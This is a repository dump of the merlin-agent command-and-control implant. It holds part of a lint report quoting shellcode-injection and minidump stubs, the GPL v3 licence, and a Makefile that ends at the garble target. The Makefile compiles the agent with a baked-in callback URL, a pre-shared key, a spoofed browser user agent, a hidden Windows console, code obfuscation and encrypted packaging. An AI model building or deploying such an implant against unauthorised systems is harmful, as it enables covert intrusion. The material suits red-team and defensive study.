"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "eed4eea5cdc530ae4b0d6bb94a8966e292eb56eae28aa86596552d5fa542bff3"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter '[]byte'",
"markdown": "Unused parameter `[]byte`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/exec.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 73,
"startColumn": 35,
"charOffset": 2576,
"charLength": 6,
"snippet": {
"text": "[]byte"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 71,
"startColumn": 1,
"charOffset": 2453,
"charLength": 235,
"snippet": {
"text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeQueueUserAPC([]byte, uint32) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "f4967547452eb8b3e78977dfd9d1df4d69d824c911820e2cd331300f3b503d0f"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'uint32'",
"markdown": "Unused parameter `uint32`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "commands/exec.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 87,
"startColumn": 31,
"charOffset": 3368,
"charLength": 6,
"snippet": {
"text": "uint32"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 85,
"startColumn": 1,
"charOffset": 3249,
"charLength": 264,
"snippet": {
"text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc miniDump(string, string, uint32) (map[string]interface{}, error) {\n\tvar mini map[string]interface{}\n\treturn mini, errors.New(\"minidump doesn't work on non-windows hosts\")"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "f79b3430a4df8b619d3bf562ad29ed17fda1633f41f5b81352fc3e8671f6e89a"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
},
{
"ruleId": "GoUnusedParameter",
"kind": "fail",
"level": "warning",
"message": {
"text": "Unused parameter 'key'",
"markdown": "Unused parameter `key`"
},
"locations": [
{
"physicalLocation": {
"artifactLocation": {
"uri": "transformers/encoders/hex/hex.go",
"uriBaseId": "SRCROOT"
},
"region": {
"startLine": 44,
"startColumn": 37,
"charOffset": 1166,
"charLength": 3,
"snippet": {
"text": "key"
},
"sourceLanguage": "go"
},
"contextRegion": {
"startLine": 42,
"startColumn": 1,
"charOffset": 1047,
"charLength": 241,
"snippet": {
"text": "\n// Construct takes in data, hex encodes it, and returns the encoded data as bytes\nfunc (c *Coder) Construct(data any, key []byte) (retData []byte, err error) {\n\tretData = make([]byte, hex.EncodedLen(len(data.([]byte))))\n\tswitch c.concrete {"
},
"sourceLanguage": "go"
}
},
"logicalLocations": [
{
"fullyQualifiedName": "merlin-agent",
"kind": "module"
}
]
}
],
"partialFingerprints": {
"equalIndicator/v1": "ffb99f0b2c049a755ceb4452d210996fd57011b400e30447e150098f164bd575"
},
"properties": {
"ideaSeverity": "WARNING",
"qodanaSeverity": "High",
"tags": [
"go"
]
}
}
],
"automationDetails": {
"id": "project/qodana/2023-12-26",
"guid": "019f687e-a687-4cae-9395-17882a090666",
"properties": {
"jobUrl": ""
}
},
"newlineSequences": [
"\r\n",
"\n"
],
"properties": {
"configProfile": "absent",
"deviceId": "200820300000000-0371-2720-49f8-13c85cfe4ddc",
"qodanaNewResultSummary": {
"high": 30,
"critical": 2,
"moderate": 1,
"total": 33
}
}
}
]
}
================================================
FILE: LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: Makefile
================================================
# !!!MAKE SURE YOUR GOPATH ENVIRONMENT VARIABLE IS SET FIRST!!!
# Agent file names
W=Windows-x64
L=Linux-x64
B=FreeBSD-x64
A=Linux-arm
M=Linux-mips
D=Darwin-x64
# Merlin version number
VERSION=$(shell cat ./core/core.go |grep "var Version ="|cut -d"\"" -f2)
MAGENT=merlinAgent
PASSWORD=merlin
BUILD=$(shell git rev-parse HEAD)
DIR=bin/v${VERSION}/${BUILD}
# http - Include the HTTP client (including HTTP/1.1, HTTP/2, and HTTP/3)
# http1 - Include the HTTP/1.1 client from Go's standard library
# http2 - Include the HTTP/2 client
# http3 - Include the HTTP/3 client
# smb - Include the peer-to-peer SMB client
# tcp - Include the peer-to-peer TCP client
# udp - Include the peer-to-peer UDP client
# winhttp - Include the Windows HTTP client
TAGS ?=
# Merlin Agent Variables
XBUILD=-X "github.com/Ne0nd0g/merlin-agent/v2/core.Build=${BUILD}"
URL ?= https://127.0.0.1:443
XURL=-X "main.url=${URL}"
PSK ?= merlin
XPSK=-X "main.psk=${PSK}"
PROXY ?=
XPROXY =-X "main.proxy=$(PROXY)"
SLEEP ?= 30s
XSLEEP =-X "main.sleep=$(SLEEP)"
HOST ?=
XHOST =-X "main.host=$(HOST)"
PROTO ?= h2
XPROTO =-X "main.protocol=$(PROTO)"
JA3 ?=
XJA3 =-X "main.ja3=$(JA3)"
USERAGENT = Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36
XUSERAGENT =-X "main.useragent=$(USERAGENT)"
HEADERS =
XHEADERS =-X "main.headers=$(HEADERS)"
SECURE ?= false
HTTPCLIENT ?= go
XHTTPCLIENT =-X "main.httpClient=$(HTTPCLIENT)"
XSECURE =-X "main.secure=${SECURE}"
SKEW ?= 3000
XSKEW=-X "main.skew=${SKEW}"
PAD ?= 4096
XPAD=-X "main.padding=${PAD}"
KILLDATE ?= 0
XKILLDATE=-X "main.killdate=${KILLDATE}"
RETRY ?= 7
XRETRY=-X "main.maxretry=${RETRY}"
PARROT ?=
XPARROT=-X "main.parrot=${PARROT}"
AUTH ?= opaque
XAUTH=-X "main.auth=${AUTH}"
ADDR ?= 127.0.0.1:4444
XADDR=-X "main.addr=${ADDR}"
TRANSFORMS ?= jwe,gob-base
XTRANSFORMS=-X "main.transforms=${TRANSFORMS}"
LISTENER ?=
XLISTENER=-X "main.listener=${LISTENER}"
# Compile Flags
LDFLAGS=-ldflags '-s -w ${XADDR} ${XAUTH} ${XTRANSFORMS} ${XLISTENER} ${XBUILD} ${XPROTO} ${XURL} ${XHOST} ${XHTTPCLIENT} ${XPSK} ${XSECURE} ${XSLEEP} ${XPROXY} $(XUSERAGENT) $(XHEADERS) ${XSKEW} ${XPAD} ${XKILLDATE} ${XRETRY} ${XPARROT} -buildid='
WINAGENTLDFLAGS=-ldflags '-s -w ${XAUTH} ${XADDR} ${XTRANSFORMS} ${XLISTENER} ${XBUILD} ${XPROTO} ${XURL} ${XHOST} ${XHTTPCLIENT} ${XPSK} ${XSECURE} ${XSLEEP} ${XPROXY} $(XUSERAGENT) $(XHEADERS) ${XSKEW} ${XPAD} ${XKILLDATE} ${XRETRY} ${XPARROT} -H=windowsgui -buildid='
GCFLAGS=-gcflags=all=-trimpath=$(GOPATH)
ASMFLAGS=-asmflags=all=-trimpath=$(GOPATH)# -asmflags=-trimpath=$(GOPATH)
# Package Command
PACKAGE=7za a -p${PASSWORD} -mhe -mx=9
F=LICENSE
# Misc
# The Merlin server and agent MUST be built with the same seed value
# Set during build with "make linux-garble SEED=
SEED=d0d03a0ae4722535a0e1d5d0c8385ce42015511e68d960fadef4b4eaf5942feb
# Make Directory to store executables
$(shell mkdir -p ${DIR})
# Change default to just make for the host OS and add MAKE ALL to do this
default:
go build -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT} ./main.go
all: windows windows-debug linux darwin
# Compile Agent - Windows x64
windows:
export GOOS=windows GOARCH=amd64;go build -tags ${TAGS} -trimpath ${WINAGENTLDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${W}.exe ./main.go
# Compile Agent - Windows x64 Debug (Can view STDOUT)
windows-debug:
export GOOS=windows GOARCH=amd64;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${W}-Debug.exe ./main.go
# Compile Agent - Windows x64 with Garble - The SEED must be the exact same that was used when compiling the server
# Garble version 0.5.2 or later must be installed and accessible in the PATH environment variable
windows-garble:
